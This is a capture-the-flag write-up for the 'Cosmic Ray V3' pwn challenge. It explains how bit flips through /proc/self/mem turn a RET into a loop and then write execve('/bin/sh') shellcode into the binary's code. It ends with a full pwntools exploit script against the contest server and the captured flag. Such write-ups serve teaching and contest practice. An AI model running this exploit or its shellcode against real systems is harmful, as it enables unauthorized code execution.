Cosmic Ray V3 (pwn)
I promise it's the last one. The grand finale to the cosmic trinity. Good luck!
The code in main
is quite simple. It calls cosmic_ray
, then does a syscall
.
undefined8 main(void)
{
setbuf(stdout,(char *)0x0);
setbuf(stderr,(char *)0x0);
cosmic_ray();
syscall();
return 0;
}
The equivalent assembly looks like this:

cosmic_ray
essentially allows us to choose any bit in the program to flip. The pseudocode is as follows:
undefined8 cosmic_ray(void)
{
__off_t local_30;
char local_26;
char local_25;
int local_24;
undefined8 local_20;
long local_18;
int local_10;
int local_c;
puts("Enter an address to send a cosmic ray through:");
__isoc99_scanf("0x%lx",&local_30);
getchar();
putchar(10);
local_10 = open("/proc/self/mem",2);
lseek(local_10,local_30,0);
read(local_10,&local_25,1);
local_18 = byte_to_binary((int)local_25);
puts("|0|1|2|3|4|5|6|7|");
puts("-----------------");
putchar(0x7c);
for (local_c = 0; local_c < 8; local_c = local_c + 1) {
printf("%d|",(ulong)(uint)(int)*(char *)(local_18 + local_c));
}
putchar(10);
putchar(10);
puts("Enter the bit position to flip:");
__isoc99_scanf(&DAT_00402098,&local_24);
getchar();
if ((-1 < local_24) && (local_24 < 8)) {
local_20 = flip_bit(local_18,local_24);
local_26 = binary_to_byte(local_20);
putchar(10);
printf("Bit succesfully flipped! New value is %d\n\n",(ulong)(uint)(int)local_26);
lseek(local_10,local_30,0);
write(local_10,&local_26,1);
return 0;
}
/* WARNING: Subroutine does not return */
exit(1);
}
We should first enter the byte to flip in the format 0x123456
, then enter the bit to flip which is between 0
(for most significant bit) and 7
(for least significant bit).
Since cosmic_ray
is only called by main
once, we need to find a way to get many bit flips. Notice that the assembly code for cosmic_ray
is located above the assembly code for main
:

As such, if we were to modify the RET
instruction to another valid instruction, the program execution would continue to main
and call cosmic_ray
again. We can change the byte 0x4015aa
at bit 0
from 1
to 0
, which would change the byte from c3
to 43
, changing our RET
to an instruction that is still valid.

Now we want instructions after the CALL cosmic_ray
instruction in main
to contain shellcode. This way, when we finally allow the cosmic_ray
function to return, our shellcode will be executed. So from address 0x4015e5
onwards, the bytes will contain our shellcode.
Our plan is as follows:
Flip bit
0
at0x4015aa
Flip bits from
0x4015e5
onwards until our entire shellcode is in the program codeFlip bit
0
at0x4015aa
again to allowcosmic_ray
to return
In my script, I define the function flip
to handle process i/o, indicating which bit to flip. I also have a function getbit
that obtains the specified bit from the program's code.
For step 2, I iterate through every bit of the shellcode. If the bit is different from the corresponding bit in the program's code, I request the bit to be flipped. Below is my solve script.
from pwn import *
from bitstring import BitArray
# fill in binary name
elf = context.binary = ELF("./cosmicrayv3")
libc = ELF("./libc-2.35.so")
ld = ELF("./ld-2.35.so")
context.log_level = 'debug'
# shellcode from https://www.exploit-db.com/exploits/47008
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
shellcode_hex = shellcode.hex()
shellcode_binarystr = BitArray(hex=shellcode_hex).bin
print(f"binary string: {shellcode_binarystr}")
f = open("./cosmicrayv3", "rb")
data = f.read()
if args.REMOTE:
# fill in remote address
p = remote("vsc.tf", 7000)
else:
p = process([ld.path, elf.path], env = {"LD_PRELOAD": libc.path})
# create exploit here
def flip(addr,bits):
addr = str(hex(addr)).encode()
bits = str(bits).encode()
p.sendlineafter(b"through:\n", addr)
p.sendlineafter(b"flip:\n", bits)
# bits are from left to right. ie msb is bit 0, lsb is bit 7
def getbit(addr, bits):
real_addr = addr - 0x400000
binary_byte = hex(data[real_addr])
byte_binarystr = BitArray(hex=binary_byte).bin
byte_binarystr = byte_binarystr.rjust(8, '0')
# count bits from left
if byte_binarystr[bits] == '0':
return '0'
else:
return '1'
# change c3 (ret)
flip(0x004015aa, 0)
# now we have infinite flips
# let 0x4015e5 and after be our shellcode
curr_byte, curr_bits= 0x04015e5, 0
for i in range(len(shellcode_binarystr)):
a, b = getbit(curr_byte, curr_bits), shellcode_binarystr[i]
if a != b:
flip(curr_byte, curr_bits)
if curr_bits == 7:
curr_byte += 1
curr_bits = 0
else:
curr_bits += 1
flip(0x004015aa, 0) # flip back to exit cosmic_ray
p.interactive() # vsctf{4nd_th3_st4r5_4l1gn_0nc3_m0r3}
Last updated